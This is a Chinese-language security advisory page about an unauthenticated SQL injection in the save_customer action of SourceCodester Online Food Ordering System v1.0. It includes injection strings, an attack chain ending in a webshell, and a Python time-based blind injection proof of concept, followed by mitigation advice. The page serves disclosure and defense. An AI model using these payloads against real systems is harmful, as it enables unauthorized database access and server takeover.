IPBUF安全漏洞报告
English
CVE-2026-30530 CVSS 9.8 严重

CVE-2026-30530 在线订餐系统SQL注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-30530
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Online Food Ordering System

相关标签

SQL注入SourceCodesterCVE-2026-30530Web安全远程代码执行严重漏洞

漏洞概述

SourceCodester在线订餐系统v1.0被发现存在严重的SQL注入安全漏洞。该漏洞源于Actions.php文件中的save_customer动作在处理用户请求时,未对“username”参数进行有效的过滤和净化,直接拼接至SQL查询语句中。由于该漏洞利用无需任何认证且无需用户交互,远程攻击者可轻易构造恶意Payload注入SQL命令,从而可能导致数据库敏感信息泄露、数据被篡改甚至服务器被完全控制,安全风险极高。

技术细节

该漏洞属于典型的SQL注入漏洞,其根本原因是应用程序对用户输入缺乏有效的安全验证。在SourceCodester Online Food Ordering System v1.0的后端代码逻辑中,Actions.php文件负责处理核心业务交互。当系统调用save_customer动作以保存客户信息时,程序直接获取HTTP POST请求中的username参数,并将其原样拼接到SQL查询语句中进行数据库操作,完全未使用参数化查询或输入过滤函数。攻击者可以利用这一缺陷,精心构造包含SQL控制字符(如单引号、注释符)的恶意Payload。例如,通过输入' OR '1'='1,攻击者可以绕过逻辑验证;利用UNION SELECT语句可读取其他表的数据。鉴于CVSS v3.1评分高达9.8,且攻击向量为网络、无需权限、无需交互,远程攻击者可轻易利用此漏洞获取数据库中的敏感信息(如管理员账号、用户隐私),甚至执行写入操作导致系统瘫痪,对业务造成毁灭性打击。

攻击链分析

STEP 1
侦查阶段
攻击者使用网络扫描工具发现目标运行的是SourceCodester在线订餐系统v1.0,并确定Actions.php文件可访问。
STEP 2
漏洞探测
攻击者向Actions.php的save_customer接口发送特制的POST请求,在username参数中插入SQL注入测试Payload(如单引号),观察应用响应。
STEP 3
漏洞利用
确认存在注入后,攻击者构造恶意SQL语句(如UNION SELECT)提取数据库结构,获取管理员密码哈希或敏感用户信息。
STEP 4
权限提升与控制
利用获取的管理员凭证登录后台,或通过注入语句写入WebShell,从而完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_sqli(target_url): """ PoC for CVE-2026-30530 SQL Injection in save_customer action. This script attempts to trigger a time-based blind SQL injection. """ target_endpoint = f"{target_url}/Actions.php" # Malicious payload to test SQL injection # Using SLEEP(5) to check if the database executes the command payload_data = { "action": "save_customer", "username": "test' AND IF(1=1, SLEEP(5), 0)-- -", "password": "password123", "firstname": "Test", "lastname": "User" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[+] Sending payload to {target_endpoint}...") response = requests.post(target_endpoint, data=payload_data, headers=headers, timeout=10) # If response takes longer than usual (approx 5 seconds), vulnerability is confirmed print(f"[+] Response status: {response.status_code}") print("[+] Check if the response time indicates a successful SQL injection (delayed response).") print(f"[+] Response body: {response.text[:200]}...") except requests.exceptions.Timeout: print("[!] Request timed out, which might indicate successful SLEEP() execution (Vulnerable).") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://192.168.1.100/online_food_ordering" exploit_sqli(target)

影响范围

SourceCodester Online Food Ordering System 1.0

防御指南

临时缓解措施
建议立即在Web应用防火墙(WAF)中部署规则,拦截针对Actions.php的包含SQL关键字的恶意请求;若无法立即升级,应暂时禁用系统的用户注册或客户信息保存功能;限制数据库用户的权限,禁止Web应用连接账户具备DROP TABLE等高危操作权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表